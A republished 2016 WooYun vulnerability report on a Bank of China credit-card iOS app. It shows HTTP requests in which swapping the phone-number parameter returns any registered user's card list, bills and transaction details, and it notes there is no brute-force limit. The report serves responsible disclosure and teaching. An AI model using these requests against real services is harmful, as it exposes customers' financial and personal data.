中国银行缤纷生活可查询任意用户信用卡账单信息

admin 2017年4月30日04:36:22评论613 views字数 226阅读0分45秒阅读模式
摘要

2016-03-08: 细节已通知厂商并且等待厂商处理中
2016-03-08: 厂商已经确认,细节仅向厂商公开
2016-03-18: 细节向核心白帽子及相关领域专家公开
2016-03-28: 细节向普通白帽子公开
2016-04-07: 细节向实习白帽子公开
2016-04-22: 细节向公众公开

漏洞概要 关注数(17) 关注此漏洞

缺陷编号: WooYun-2016-182099

漏洞标题: 中国银行缤纷生活可查询任意用户信用卡账单信息

相关厂商: 中国银行

漏洞作者: ghy459

提交时间: 2016-03-08 09:50

公开时间: 2016-04-22 16:24

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 逻辑错误 设计不当 客户端程序设计错误

3人收藏


漏洞详情

披露状态:

2016-03-08: 细节已通知厂商并且等待厂商处理中
2016-03-08: 厂商已经确认,细节仅向厂商公开
2016-03-18: 细节向核心白帽子及相关领域专家公开
2016-03-28: 细节向普通白帽子公开
2016-04-07: 细节向实习白帽子公开
2016-04-22: 细节向公众公开

简要描述:

在某社区碰巧看到关于银行APP串号的讨论,想起自己用中行APP的时候貌似也碰到同样的事情,于是决定挖一波试试。

详细说明:

应用地址:https://itunes.apple.com/cn/app/zhong-guo-yin-xing-bin-fen/id525635672?mt=8

只测了iOS的客户端,Android不清楚是不是也有类似的客户端&&问题存在。我找了几位gay友测试了一下,貌似没注册过“缤纷生活”的信用卡用户不受影响,厂商可以自测一下。

问题出现在登录之后的操作。

首先我们要正常登录,拿到登录后的cookie。之后点击首页的“账单服务”,这时候客户端会发送这样一个请求:

code 区域
POST /AppPrj/creditCardListNew.do? HTTP/1.1
Host: card.bank-of-china.com
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: close
Cookie: JSESSIONID=0000x*******
Accept-Language: zh-cn
Content-Length: 139
Accept-Encoding: gzip, deflate
User-Agent: %E4%B8%AD%E5%9B%BD%E9%93%B6%E8%A1%8C/2.8 CFNetwork/758.2.8 Darwin/15.0.0

txnId=2USR030006&userNm=********34&imei=2015-04-03-13-38-16-619-*******&lon=***&lat=***&city=&deviceToken=&clientVersion=2.8

大意就是通过登录名(手机号)去获取用户名下的卡号,返回内容如下:

code 区域
{"stat":"00","disbindCardList":[],"bindCardList":[{"isVirtualCard":"N","cardNo":"dgmvueGgAW*******","mainFlag":"MAIN","pay":"Y","query":"Y","ccyCode1":"人民币","ccyCode2":"","actType":"3"}],"result":"操作成功","date":"2016-03-08 01:30:01"}

这里出现了第一个问题,只要把请求中的userNm换成任意注册用户的手机号,即可查询他名下的信用卡信息。

尾号9734返回结果:

中国银行缤纷生活可查询任意用户信用卡账单信息

尾号1688返回结果:

中国银行缤纷生活可查询任意用户信用卡账单信息

=============

上面返回的内容有一项cardNo,就是指的信用卡号,可惜用的中行自己的算法加密无法解开。不过没关系,我们先记下来。(其实在APP上就可以看到卡号的前四位和后四位了,具体算法没深究)

接下进行下一步,查询账单信息。账单分为已出账单和未出账单,实际测试只有已出账单存在下面的漏洞。请求如下:

code 区域
GET /AppPrj/newbillInquire.do?txnId=2FIN010044&userNm=*******9734&cardNo=dgmvueGgAWsF8CIhgu*****&billDt=2016-02&imei=2015-04-03-13-38-16-619-*****&lon=******&lat=*****&city=&deviceToken=&clientVersion=2.8 HTTP/1.1
Host: card.bank-of-china.com
Content-Type: application/x-www-form-urlencoded
Accept: */*
Cookie: JSESSIONID=0000x*******
User-Agent: %E4%B8%AD%E5%9B%BD%E9%93%B6%E8%A1%8C/2.8 CFNetwork/758.2.8 Darwin/15.0.0
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Connection: close

这里有几个关键的参数,userNm用户手机号,cardNo上一个请求拿到的加密卡号,billDt账单月。

返回内容太长就不贴出来了,截两个图对比一下:

尾号9734返回结果:

中国银行缤纷生活可查询任意用户信用卡账单信息

尾号1688返回结果:

中国银行缤纷生活可查询任意用户信用卡账单信息

敏感信息实在太多了,截图上各种红点。不过足够证明这是两张不一样的账单了,curTermBalance1 address3 repayDate等字段都能证明。

还有交易明细接口 /AppPrj/newbillInquiredeal.do 也存在上述缺陷,不截图证明了,那个敏感信息更多。。。

最终泄露的信息包括明文的账单地址、交易明细、用户手机号、积分信息,加密的卡号、姓名、邮箱等。

目前能找到可利用的就这三个点。测试其它功能点一换卡号直接就被登出了,猜测是“已出账单”功能忘记加某个安全措施了?

另外接口一可以用于爆破,简单跑了100个手机号没有感觉到有防爆措施,不过没有深入利用了。

漏洞证明:

请看详细说明。

修复方案:

cookie和user强对应关系。

版权声明:转载请注明来源 ghy459@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2016-03-08 16:24

厂商回复:

感谢支持。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-08 09:54 | 坏男孩-A_A ( 实习白帽子 | Rank:81 漏洞数:23 | 膜拜学习中)

    1

    怎么到处都是任意账单查询....

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin